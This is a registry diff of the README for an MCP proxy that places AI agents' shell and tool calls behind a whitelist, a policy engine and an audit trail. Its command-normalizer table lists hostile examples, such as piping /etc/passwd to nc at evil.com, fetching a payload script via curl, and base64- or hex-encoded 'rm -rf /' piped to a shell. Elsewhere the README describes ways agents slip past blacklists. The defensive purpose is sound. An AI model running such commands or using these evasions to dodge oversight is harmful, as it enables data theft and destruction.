sovr-mcp-proxy 6.0.1 → 7.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +54 -19
- package/README.md +387 -164
- package/dist/cli.js +1553 -24
- package/dist/cli.mjs +185 -18
- package/dist/commandNormalizer.d.mts +95 -0
- package/dist/commandNormalizer.d.ts +95 -0
- package/dist/commandNormalizer.js +365 -0
- package/dist/commandNormalizer.mjs +336 -0
- package/dist/hooksAdapter.d.mts +122 -0
- package/dist/hooksAdapter.d.ts +122 -0
- package/dist/hooksAdapter.js +321 -0
- package/dist/hooksAdapter.mjs +291 -0
- package/dist/index.js +1065 -2
- package/dist/index.mjs +98 -2
- package/dist/toolReplacement.d.mts +108 -0
- package/dist/toolReplacement.d.ts +108 -0
- package/dist/toolReplacement.js +234 -0
- package/dist/toolReplacement.mjs +204 -0
- package/dist/whitelistEngine.d.mts +167 -0
- package/dist/whitelistEngine.d.ts +167 -0
- package/dist/whitelistEngine.js +435 -0
- package/dist/whitelistEngine.mjs +403 -0
- package/package.json +46 -41
- package/server.json +0 -14
package/README.md
CHANGED
|
@@ -4,15 +4,31 @@ The **Responsibility Layer** for AI agents. SOVR sits between your AI and its ac
|
|
|
4
4
|
|
|
5
5
|
> Not a security product. Not a firewall. A **decision accountability layer** that makes AI trust verifiable.
|
|
6
6
|
|
|
7
|
-
|
|
7
|
+
[](https://www.npmjs.com/package/sovr-mcp-proxy)
|
|
8
|
+
[](https://www.npmjs.com/package/sovr-mcp-proxy)
|
|
9
|
+
[](LICENSE)
|
|
8
10
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## What's New in v7.0.0
|
|
14
|
+
|
|
15
|
+
Community feedback (r/LocalLLaMA, r/ClaudeAI) identified three critical gaps — v7 fixes all of them:
|
|
16
|
+
|
|
17
|
+
| Problem | v6 Status | v7 Solution |
|
|
18
|
+
|---------|-----------|-------------|
|
|
19
|
+
| **Bypass Attack** — LLM ignores SOVR, uses native Bash directly | ❌ Unprotected | ✅ `--mode=exclusive` replaces native tools |
|
|
20
|
+
| **Blacklist Evasion** — `find / -delete` bypasses `rm -rf` block | ❌ Blacklist only | ✅ Whitelist engine (DEFAULT DENY) |
|
|
21
|
+
| **Encoding Tricks** — `bash -c`, base64, hex bypass detection | ❌ No normalization | ✅ Command normalizer unwraps all layers |
|
|
22
|
+
|
|
23
|
+
### New Features
|
|
24
|
+
|
|
25
|
+
- **`--mode=exclusive`** — Tool Replacement mode. SOVR replaces native Bash/shell tools in the MCP `tools/list` response. The LLM has **no way to bypass** the policy engine.
|
|
26
|
+
- **`--whitelist=preset|path`** — Whitelist engine with DEFAULT DENY. Built-in presets: `readonly`, `developer`, `production`.
|
|
27
|
+
- **Command Normalizer** — Unwraps `bash -c`, detects base64/hex encoding, identifies destructive equivalents (`find / -delete` → `rm -rf`).
|
|
28
|
+
- **Claude Code Hooks** — `npx sovr-mcp-proxy hooks install` adds PreToolUse hooks for native interception without MCP proxy.
|
|
29
|
+
- **4 Security Modes** — `monitor` | `advisory` | `enforce` (default) | `exclusive`
|
|
30
|
+
|
|
31
|
+
---
|
|
16
32
|
|
|
17
33
|
## Why MCP Proxy?
|
|
18
34
|
|
|
@@ -24,237 +40,444 @@ The **Responsibility Layer** for AI agents. SOVR sits between your AI and its ac
|
|
|
24
40
|
|
|
25
41
|
As a Responsibility Layer, SOVR requires a **non-bypassable** architecture. The MCP Proxy intercepts every `tools/call` and `tools/list` message at the protocol level. No tool call reaches execution without passing through the policy engine first.
|
|
26
42
|
|
|
43
|
+
---
|
|
44
|
+
|
|
27
45
|
## Quick Start
|
|
28
46
|
|
|
29
|
-
|
|
47
|
+
```bash
|
|
48
|
+
# Basic — enforce mode (default), policy engine active
|
|
49
|
+
npx sovr-mcp-proxy --upstream "npx -y @modelcontextprotocol/server-filesystem /tmp"
|
|
50
|
+
|
|
51
|
+
# Recommended — exclusive mode + whitelist
|
|
52
|
+
npx sovr-mcp-proxy \
|
|
53
|
+
--upstream "npx -y @modelcontextprotocol/server-filesystem /tmp" \
|
|
54
|
+
--mode=exclusive \
|
|
55
|
+
--whitelist=developer
|
|
56
|
+
|
|
57
|
+
# Claude Code users — install hooks for native interception
|
|
58
|
+
npx sovr-mcp-proxy hooks install --fail-closed
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### Platform-Specific Setup
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# Claude Code
|
|
65
|
+
npx sovr-mcp-proxy init --claude-code
|
|
66
|
+
|
|
67
|
+
# Cursor
|
|
68
|
+
npx sovr-mcp-proxy init --cursor
|
|
69
|
+
|
|
70
|
+
# Windsurf
|
|
71
|
+
npx sovr-mcp-proxy init --windsurf
|
|
72
|
+
|
|
73
|
+
# Continue.dev
|
|
74
|
+
npx sovr-mcp-proxy init --continue
|
|
75
|
+
|
|
76
|
+
# OpenAI Agents SDK
|
|
77
|
+
npx sovr-mcp-proxy init --openai-agents
|
|
78
|
+
|
|
79
|
+
# GPT Codex
|
|
80
|
+
npx sovr-mcp-proxy init --codex
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### MCP Client Configuration
|
|
30
84
|
|
|
31
85
|
```json
|
|
32
86
|
{
|
|
33
87
|
"mcpServers": {
|
|
34
|
-
"
|
|
88
|
+
"filesystem": {
|
|
35
89
|
"command": "npx",
|
|
36
|
-
"args": [
|
|
37
|
-
|
|
38
|
-
"
|
|
39
|
-
"
|
|
40
|
-
|
|
90
|
+
"args": [
|
|
91
|
+
"-y", "sovr-mcp-proxy",
|
|
92
|
+
"--mode=exclusive",
|
|
93
|
+
"--whitelist=developer",
|
|
94
|
+
"--upstream", "npx -y @modelcontextprotocol/server-filesystem /tmp"
|
|
95
|
+
]
|
|
41
96
|
}
|
|
42
97
|
}
|
|
43
98
|
}
|
|
44
99
|
```
|
|
45
100
|
|
|
46
|
-
|
|
101
|
+
---
|
|
47
102
|
|
|
48
|
-
|
|
103
|
+
## Security Modes (NEW in v7)
|
|
49
104
|
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
105
|
+
| Mode | Behavior | Use Case |
|
|
106
|
+
|------|----------|----------|
|
|
107
|
+
| `monitor` | Log only, never block | Development / debugging |
|
|
108
|
+
| `advisory` | Warn but allow | Gradual rollout |
|
|
109
|
+
| `enforce` | Block violations (default) | Production |
|
|
110
|
+
| `exclusive` | **Replace native tools** — LLM can only execute through SOVR | Maximum security |
|
|
111
|
+
|
|
112
|
+
### Exclusive Mode
|
|
113
|
+
|
|
114
|
+
In `--mode=exclusive`, SOVR intercepts the MCP `tools/list` response and replaces dangerous native tools (Bash, shell, exec) with SOVR-wrapped equivalents. The LLM has **no way to bypass** the policy engine because the original tools no longer exist in its tool list.
|
|
53
115
|
|
|
54
|
-
|
|
55
|
-
- `GET /sse` — Event stream (returns session message URL)
|
|
56
|
-
- `POST /message?sessionId=<id>` — Send JSON-RPC messages
|
|
57
|
-
- `GET /health` — Health check
|
|
116
|
+
---
|
|
58
117
|
|
|
59
|
-
|
|
118
|
+
## Whitelist Engine (NEW in v7)
|
|
60
119
|
|
|
61
|
-
|
|
120
|
+
**DEFAULT DENY** — only explicitly allowed commands can execute.
|
|
121
|
+
|
|
122
|
+
### Built-in Presets
|
|
62
123
|
|
|
63
124
|
```bash
|
|
64
|
-
#
|
|
65
|
-
npx
|
|
125
|
+
# Read-only: only ls, cat, grep, find, git status
|
|
126
|
+
npx sovr-mcp-proxy --upstream "..." --whitelist=readonly
|
|
66
127
|
|
|
67
|
-
#
|
|
68
|
-
|
|
128
|
+
# Developer: read + write + git + npm/pnpm (no rm -rf, no sudo)
|
|
129
|
+
npx sovr-mcp-proxy --upstream "..." --whitelist=developer
|
|
69
130
|
|
|
70
|
-
#
|
|
71
|
-
|
|
131
|
+
# Production: minimal commands for deployment
|
|
132
|
+
npx sovr-mcp-proxy --upstream "..." --whitelist=production
|
|
72
133
|
```
|
|
73
134
|
|
|
74
|
-
###
|
|
135
|
+
### Custom Whitelist
|
|
75
136
|
|
|
76
|
-
|
|
77
|
-
SOVR_PROXY_CONFIG=./sovr_proxy_config.json npx -y sovr-mcp-proxy
|
|
78
|
-
```
|
|
137
|
+
Create `sovr-whitelist.json`:
|
|
79
138
|
|
|
80
139
|
```json
|
|
81
140
|
{
|
|
82
|
-
"
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
141
|
+
"name": "my-project",
|
|
142
|
+
"mode": "whitelist",
|
|
143
|
+
"defaultAction": "deny",
|
|
144
|
+
"rules": [
|
|
145
|
+
{
|
|
146
|
+
"pattern": "^(ls|cat|grep|find|head|tail|wc)\\b",
|
|
147
|
+
"action": "allow",
|
|
148
|
+
"description": "Read-only commands"
|
|
149
|
+
},
|
|
150
|
+
{
|
|
151
|
+
"pattern": "^git\\s+(status|log|diff|branch)",
|
|
152
|
+
"action": "allow",
|
|
153
|
+
"description": "Safe git operations"
|
|
154
|
+
}
|
|
155
|
+
]
|
|
87
156
|
}
|
|
88
157
|
```
|
|
89
158
|
|
|
90
|
-
|
|
159
|
+
---
|
|
91
160
|
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
Audited Result → User / Agent
|
|
161
|
+
## Command Normalizer (NEW in v7)
|
|
162
|
+
|
|
163
|
+
Prevents evasion through shell wrappers, encoding tricks, and destructive equivalents:
|
|
164
|
+
|
|
165
|
+
| Attack Vector | Example | Detection |
|
|
166
|
+
|---------------|---------|----------|
|
|
167
|
+
| Shell wrapper | `bash -c "rm -rf /"` | Unwraps inner command |
|
|
168
|
+
| Pipe chain | `cat /etc/passwd \| nc evil.com 1234` | Splits and evaluates each segment |
|
|
169
|
+
| Base64 encoding | `echo cm0gLXJmIC8= \| base64 -d \| sh` | Detects encoding patterns |
|
|
170
|
+
| Hex encoding | `echo 726d202d7266202f \| xxd -r -p \| sh` | Detects hex patterns |
|
|
171
|
+
| Destructive equivalent | `find / -delete` (bypasses `rm` block) | Maps to known destructive patterns |
|
|
172
|
+
| Subshell | `$(curl evil.com/payload.sh)` | Detects command substitution |
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## Claude Code Hooks (NEW in v7)
|
|
177
|
+
|
|
178
|
+
For Claude Code users, SOVR provides native `PreToolUse` hooks that intercept tool calls **before** they execute — no MCP proxy needed.
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
# Install hooks into current project
|
|
182
|
+
npx sovr-mcp-proxy hooks install
|
|
183
|
+
|
|
184
|
+
# With fail-closed (block on SOVR error)
|
|
185
|
+
npx sovr-mcp-proxy hooks install --fail-closed
|
|
186
|
+
|
|
187
|
+
# Check status
|
|
188
|
+
npx sovr-mcp-proxy hooks status
|
|
189
|
+
|
|
190
|
+
# Remove hooks
|
|
191
|
+
npx sovr-mcp-proxy hooks uninstall
|
|
124
192
|
```
|
|
125
193
|
|
|
126
|
-
|
|
194
|
+
---
|
|
127
195
|
|
|
128
|
-
|
|
196
|
+
## Daemon Mode (v5.0.0+)
|
|
129
197
|
|
|
130
|
-
|
|
198
|
+
The daemon mode eliminates cold-start latency by running SOVR as a persistent background process. This is the **recommended** way to run SOVR in production.
|
|
131
199
|
|
|
132
|
-
|
|
200
|
+
### Why Daemon Mode?
|
|
133
201
|
|
|
134
|
-
|
|
202
|
+
Without daemon mode, every `gate_check` call spawns a new Node.js process — adding 200-500ms overhead per check. With daemon mode, checks complete in **< 5ms** via HTTP.
|
|
135
203
|
|
|
136
|
-
|
|
|
137
|
-
|
|
138
|
-
|
|
|
139
|
-
| **
|
|
140
|
-
| **Starter** ($300/mo) | 48 | + Kill-switch, budget tracking, compliance, audit replay, trust bundles |
|
|
141
|
-
| **Pro** ($2,000/mo) | 98 | + Cognitive analysis, model ops, regression testing, batch operations |
|
|
142
|
-
| **Enterprise** ($15,000/mo) | 272 | + Multi-tenant isolation, custom integrations, full platform access |
|
|
204
|
+
| Mode | Latency per check | Success rate | Resource usage |
|
|
205
|
+
|------|-------------------|--------------|----------------|
|
|
206
|
+
| Cold start (legacy) | 200-500ms | ~56% (fail-open) | High (new process each time) |
|
|
207
|
+
| **Daemon mode** | **< 5ms** | **100%** | Low (single persistent process) |
|
|
143
208
|
|
|
144
|
-
|
|
209
|
+
### Start the Daemon
|
|
145
210
|
|
|
146
|
-
|
|
211
|
+
```bash
|
|
212
|
+
# Start daemon (background process)
|
|
213
|
+
npx sovr-mcp-proxy daemon start
|
|
147
214
|
|
|
148
|
-
|
|
215
|
+
# Start with custom port
|
|
216
|
+
npx sovr-mcp-proxy daemon start --port 3100
|
|
149
217
|
|
|
150
|
-
|
|
218
|
+
# Start in fail-closed mode (blocks on error instead of allowing)
|
|
219
|
+
SOVR_FAIL_MODE=closed npx sovr-mcp-proxy daemon start
|
|
151
220
|
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
- **Budget and quota limits** — prevent runaway costs from autonomous operations
|
|
155
|
-
- **Rate limiting** — throttle high-frequency tool calls
|
|
156
|
-
- **Time-based restrictions** — enforce operational windows
|
|
221
|
+
# Check daemon status
|
|
222
|
+
npx sovr-mcp-proxy daemon status
|
|
157
223
|
|
|
158
|
-
|
|
224
|
+
# Stop daemon
|
|
225
|
+
npx sovr-mcp-proxy daemon stop
|
|
226
|
+
```
|
|
159
227
|
|
|
160
|
-
|
|
228
|
+
### Daemon Status Output
|
|
161
229
|
|
|
162
|
-
|
|
230
|
+
```
|
|
231
|
+
╔══════════════════════════════════════╗
|
|
232
|
+
║ SOVR DAEMON STATUS ║
|
|
233
|
+
╠══════════════════════════════════════╣
|
|
234
|
+
║ Status: ● RUNNING ║
|
|
235
|
+
║ PID: 12345 ║
|
|
236
|
+
║ Port: 3100 ║
|
|
237
|
+
║ Uptime: 2h 15m ║
|
|
238
|
+
║ Checks: 1,247 total ║
|
|
239
|
+
║ Success: 99.8% ║
|
|
240
|
+
║ Avg Lat: 0.9ms ║
|
|
241
|
+
╚══════════════════════════════════════╝
|
|
242
|
+
```
|
|
163
243
|
|
|
164
|
-
|
|
165
|
-
- **OAuth2 strategy** — Refresh via standard `refresh_token` grant
|
|
166
|
-
- Configurable refresh intervals with automatic scheduling
|
|
167
|
-
- Graceful shutdown with timer cleanup
|
|
244
|
+
### Daemon API Endpoints
|
|
168
245
|
|
|
169
|
-
|
|
246
|
+
The daemon exposes an HTTP API for integration:
|
|
170
247
|
|
|
171
|
-
|
|
248
|
+
| Endpoint | Method | Description |
|
|
249
|
+
|----------|--------|-------------|
|
|
250
|
+
| `/health` | GET | Health check — returns `{ status, uptime, version }` |
|
|
251
|
+
| `/gate-check` | POST | Evaluate an action against the policy engine |
|
|
252
|
+
| `/stats` | GET | Full statistics — checks, success rate, latency |
|
|
172
253
|
|
|
173
|
-
|
|
174
|
-
import McpProxy from "sovr-mcp-proxy";
|
|
254
|
+
#### Gate Check Request
|
|
175
255
|
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
256
|
+
```bash
|
|
257
|
+
curl -X POST http://localhost:3100/gate-check \
|
|
258
|
+
-H "Content-Type: application/json" \
|
|
259
|
+
-d '{
|
|
260
|
+
"action": "execute_command",
|
|
261
|
+
"resource": "rm -rf /important",
|
|
262
|
+
"context": { "user": "agent-1" }
|
|
263
|
+
}'
|
|
180
264
|
```
|
|
181
265
|
|
|
182
|
-
|
|
266
|
+
#### Gate Check Response
|
|
183
267
|
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
| `SOVR_VAULT_API_KEY` | Vault API key | — |
|
|
195
|
-
| `SOVR_DOWNSTREAM_URL` | Downstream MCP server URL | — |
|
|
268
|
+
```json
|
|
269
|
+
{
|
|
270
|
+
"decision": "BLOCK",
|
|
271
|
+
"reason": "Destructive command blocked by policy",
|
|
272
|
+
"risk_score": 95,
|
|
273
|
+
"matched_rule": "block_destructive_commands",
|
|
274
|
+
"timestamp": "2026-02-25T00:15:30.000Z",
|
|
275
|
+
"latency_ms": 0.8
|
|
276
|
+
}
|
|
277
|
+
```
|
|
196
278
|
|
|
197
|
-
|
|
279
|
+
### Fail Mode Configuration
|
|
198
280
|
|
|
199
|
-
|
|
281
|
+
| Mode | Behavior on Error | Use Case |
|
|
282
|
+
|------|-------------------|----------|
|
|
283
|
+
| `open` (default) | Allow action if SOVR check fails | Development, non-critical workflows |
|
|
284
|
+
| `closed` | **Block** action if SOVR check fails | Production, high-security environments |
|
|
200
285
|
|
|
201
286
|
```bash
|
|
202
|
-
|
|
287
|
+
# Set via environment variable
|
|
288
|
+
export SOVR_FAIL_MODE=closed
|
|
289
|
+
npx sovr-mcp-proxy daemon start
|
|
290
|
+
|
|
291
|
+
# Or in .env file
|
|
292
|
+
echo "SOVR_FAIL_MODE=closed" >> .env
|
|
203
293
|
```
|
|
204
294
|
|
|
205
|
-
|
|
295
|
+
### Success Rate Monitoring
|
|
206
296
|
|
|
207
|
-
|
|
208
|
-
2. Startup version check is enforced — outdated local versions will be force-exited.
|
|
209
|
-
3. Billing events are automatically reported to the SOVR metering backend.
|
|
297
|
+
The daemon automatically monitors success rate and emits warnings:
|
|
210
298
|
|
|
211
|
-
|
|
299
|
+
- **≥ 95%**: Normal operation
|
|
300
|
+
- **< 95%**: Warning logged — `[SOVR ALERT] Success rate dropped below 95%`
|
|
301
|
+
- **< 80%**: Critical alert — consider restarting daemon
|
|
212
302
|
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
303
|
+
---
|
|
304
|
+
|
|
305
|
+
## Git Hook Integration
|
|
306
|
+
|
|
307
|
+
SOVR integrates with git hooks to verify every commit operation:
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Install git hooks
|
|
311
|
+
npx sovr-mcp-proxy init --claude-code # or your platform
|
|
312
|
+
|
|
313
|
+
# The hook (sovr-gate.js) automatically:
|
|
314
|
+
# 1. Checks if daemon is running → uses HTTP (fast path, <5ms)
|
|
315
|
+
# 2. Falls back to MCP cold start if daemon unavailable
|
|
316
|
+
# 3. Logs all decisions to ~/.sovr/audit/
|
|
220
317
|
```
|
|
221
318
|
|
|
222
|
-
|
|
319
|
+
### Hook Flow
|
|
223
320
|
|
|
224
|
-
|
|
321
|
+
```
|
|
322
|
+
git commit → pre-commit hook → sovr-gate.js
|
|
323
|
+
│
|
|
324
|
+
┌───────────┴───────────┐
|
|
325
|
+
│ │
|
|
326
|
+
Daemon running? Daemon down?
|
|
327
|
+
│ │
|
|
328
|
+
HTTP /gate-check MCP cold start
|
|
329
|
+
(< 5ms) (200-500ms)
|
|
330
|
+
│ │
|
|
331
|
+
└───────────┬───────────┘
|
|
332
|
+
│
|
|
333
|
+
Policy Engine
|
|
334
|
+
│
|
|
335
|
+
┌───────────┴───────────┐
|
|
336
|
+
│ │ │
|
|
337
|
+
ALLOW ESCALATE BLOCK
|
|
338
|
+
│ │ │
|
|
339
|
+
proceed human review abort
|
|
340
|
+
```
|
|
225
341
|
|
|
226
|
-
|
|
342
|
+
---
|
|
227
343
|
|
|
228
|
-
|
|
229
|
-
- **Billing Reporter** — Every `gate.allow`, `gate.block`, and `gate.escalate` event is batched (10s interval / 500-event buffer) and reported to the SOVR metering backend.
|
|
230
|
-
- **Version Check Enforcement** — Startup check against `api.sovr.inc/api/sovr/v1/version/check`. Outdated versions trigger `process.exit(1)` with upgrade instructions.
|
|
231
|
-
- **Tier-Aware Tool Filtering** — `tools/list` responses filtered by authenticated tier.
|
|
232
|
-
- **Enhanced Audit Pre-Filter** — Improved sanitization for malformed MCP messages.
|
|
233
|
-
- **All previous versions deprecated** — Only v6.0.0 is supported.
|
|
344
|
+
## Policy Engine
|
|
234
345
|
|
|
235
|
-
|
|
346
|
+
The built-in policy engine evaluates actions against configurable rules:
|
|
347
|
+
|
|
348
|
+
### Default Rules
|
|
349
|
+
|
|
350
|
+
| Rule | Action | Resource Pattern | Decision |
|
|
351
|
+
|------|--------|-----------------|----------|
|
|
352
|
+
| Block destructive commands | `execute_command` | `rm -rf`, `DROP TABLE`, `format` | BLOCK |
|
|
353
|
+
| Block file deletion | `delete_file` | `*` | BLOCK |
|
|
354
|
+
| Escalate force push | `execute_command` | `git push --force` | ESCALATE |
|
|
355
|
+
| Escalate env access | `read_file` | `.env`, `secrets` | ESCALATE |
|
|
356
|
+
|
|
357
|
+
### Custom Policies
|
|
358
|
+
|
|
359
|
+
```yaml
|
|
360
|
+
# ~/.sovr/policies/custom.yaml
|
|
361
|
+
rules:
|
|
362
|
+
- name: block_production_deploy
|
|
363
|
+
action: execute_command
|
|
364
|
+
resource_pattern: "deploy.*production"
|
|
365
|
+
decision: BLOCK
|
|
366
|
+
reason: "Production deployments require manual approval"
|
|
367
|
+
|
|
368
|
+
- name: escalate_database_writes
|
|
369
|
+
action: execute_command
|
|
370
|
+
resource_pattern: "INSERT|UPDATE|DELETE"
|
|
371
|
+
decision: ESCALATE
|
|
372
|
+
reason: "Database writes need human review"
|
|
373
|
+
```
|
|
236
374
|
|
|
237
|
-
|
|
238
|
-
- **Billing Reporter** — Initial implementation of event batching and metering.
|
|
239
|
-
- **All 33 previous versions deprecated**.
|
|
375
|
+
---
|
|
240
376
|
|
|
241
|
-
|
|
377
|
+
## Audit Trail
|
|
242
378
|
|
|
243
|
-
|
|
244
|
-
- **HonestyLabeler** — Every verification result now carries a transparency label.
|
|
245
|
-
- **Upstream Readiness Detection** — `--upstream` mode now properly waits for upstream process.
|
|
246
|
-
- **Message Buffering** — Agent messages buffered during upstream startup.
|
|
247
|
-
- **7 New Tools** — `sovr_billing_cron`, `sovr_tenant_keys`, `sovr_vector_db`, `sovr_prometheus`, `sovr_evidence_archive`, `sovr_evidence_cli`, `sovr_environment`.
|
|
248
|
-
- **Tool Count** — 286 → 293 Enterprise tier tools.
|
|
379
|
+
Every decision is logged to `~/.sovr/audit/`:
|
|
249
380
|
|
|
250
|
-
|
|
381
|
+
```
|
|
382
|
+
~/.sovr/audit/
|
|
383
|
+
├── 2026-02-25.jsonl ← Daily audit log
|
|
384
|
+
├── 2026-02-24.jsonl
|
|
385
|
+
└── stats.json ← Aggregate statistics
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
Each entry contains:
|
|
389
|
+
|
|
390
|
+
```json
|
|
391
|
+
{
|
|
392
|
+
"timestamp": "2026-02-25T00:15:30.000Z",
|
|
393
|
+
"action": "execute_command",
|
|
394
|
+
"resource": "git push --force origin main",
|
|
395
|
+
"decision": "ESCALATE",
|
|
396
|
+
"risk_score": 90,
|
|
397
|
+
"matched_rule": "escalate_force_push",
|
|
398
|
+
"latency_ms": 0.9,
|
|
399
|
+
"session_id": "abc123",
|
|
400
|
+
"daemon_mode": true
|
|
401
|
+
}
|
|
402
|
+
```
|
|
403
|
+
|
|
404
|
+
---
|
|
405
|
+
|
|
406
|
+
## Supported Platforms
|
|
407
|
+
|
|
408
|
+
| Platform | Init Command | Config Format | Status |
|
|
409
|
+
|----------|-------------|---------------|--------|
|
|
410
|
+
| Claude Code | `--claude-code` | JSON | ✅ Stable |
|
|
411
|
+
| Cursor | `--cursor` | JSON | ✅ Stable |
|
|
412
|
+
| Windsurf | `--windsurf` | JSON | ✅ Stable |
|
|
413
|
+
| Continue.dev | `--continue` | JSON | ✅ Stable |
|
|
414
|
+
| OpenAI Agents SDK | `--openai-agents` | Python | ✅ Stable |
|
|
415
|
+
| GPT Codex | `--codex` | TOML | ✅ Stable |
|
|
416
|
+
|
|
417
|
+
---
|
|
251
418
|
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
419
|
+
## Architecture (v7)
|
|
420
|
+
|
|
421
|
+
```
|
|
422
|
+
┌─────────────────────────────────────────────┐
|
|
423
|
+
│ AI Agent │
|
|
424
|
+
│ (Claude Code / Cursor / Windsurf / etc.) │
|
|
425
|
+
└──────────────────┬──────────────────────────┘
|
|
426
|
+
│ MCP Protocol (stdio/SSE/HTTP)
|
|
427
|
+
▼
|
|
428
|
+
┌─────────────────────────────────────────────┐
|
|
429
|
+
│ SOVR MCP Proxy v7 │
|
|
430
|
+
│ ┌─────────────────────────────────────┐ │
|
|
431
|
+
│ │ 1. Command Normalizer │ │
|
|
432
|
+
│ │ Unwrap bash -c, detect encoding │ │
|
|
433
|
+
│ ├─────────────────────────────────────┤ │
|
|
434
|
+
│ │ 2. Whitelist Engine │ │
|
|
435
|
+
│ │ DEFAULT DENY, preset/custom │ │
|
|
436
|
+
│ ├─────────────────────────────────────┤ │
|
|
437
|
+
│ │ 3. Policy Engine │ │
|
|
438
|
+
│ │ ALLOW / BLOCK / ESCALATE │ │
|
|
439
|
+
│ ├─────────────────────────────────────┤ │
|
|
440
|
+
│ │ 4. Tool Replacement (exclusive) │ │
|
|
441
|
+
│ │ Replace native tools in list │ │
|
|
442
|
+
│ ├─────────────────────────────────────┤ │
|
|
443
|
+
│ │ 5. Audit Trail │ │
|
|
444
|
+
│ │ Every decision → JSONL + stats │ │
|
|
445
|
+
│ └─────────────────────────────────────┘ │
|
|
446
|
+
│ │
|
|
447
|
+
│ Mode: exclusive | enforce | advisory | │
|
|
448
|
+
│ monitor │
|
|
449
|
+
└──────────────────┬──────────────────────────┘
|
|
450
|
+
│ MCP Protocol (forwarded)
|
|
451
|
+
▼
|
|
452
|
+
┌─────────────────────────────────────────────┐
|
|
453
|
+
│ Upstream MCP Server │
|
|
454
|
+
│ (filesystem / database / API / etc.) │
|
|
455
|
+
└─────────────────────────────────────────────┘
|
|
456
|
+
```
|
|
457
|
+
|
|
458
|
+
---
|
|
459
|
+
|
|
460
|
+
## Environment Variables
|
|
461
|
+
|
|
462
|
+
| Variable | Default | Description |
|
|
463
|
+
|----------|---------|-------------|
|
|
464
|
+
| `SOVR_FAIL_MODE` | `open` | `open` = allow on error, `closed` = block on error |
|
|
465
|
+
| `SOVR_DAEMON_PORT` | `3100` | HTTP port for daemon mode |
|
|
466
|
+
| `SOVR_AUDIT_DIR` | `~/.sovr/audit` | Directory for audit logs |
|
|
467
|
+
| `SOVR_LOG_LEVEL` | `info` | Log verbosity: `debug`, `info`, `warn`, `error` |
|
|
468
|
+
| `SOVR_API_KEY` | — | **Required.** API key for authentication and billing. Get one at [sovr.inc/dashboard](https://sovr.inc/dashboard/api-keys) |
|
|
469
|
+
|
|
470
|
+
---
|
|
255
471
|
|
|
256
472
|
## License
|
|
257
473
|
|
|
258
|
-
BSL-1.1
|
|
474
|
+
[BSL-1.1](LICENSE) — Business Source License 1.1
|
|
475
|
+
|
|
476
|
+
---
|
|
477
|
+
|
|
478
|
+
## Links
|
|
259
479
|
|
|
260
|
-
|
|
480
|
+
- **Homepage**: [sovr.inc](https://sovr.inc)
|
|
481
|
+
- **Repository**: [github.com/xie38388/sovr](https://github.com/xie38388/sovr)
|
|
482
|
+
- **npm**: [npmjs.com/package/sovr-mcp-proxy](https://www.npmjs.com/package/sovr-mcp-proxy)
|
|
483
|
+
- **Documentation**: [docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md](https://github.com/xie38388/sovr/blob/main/docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md)
|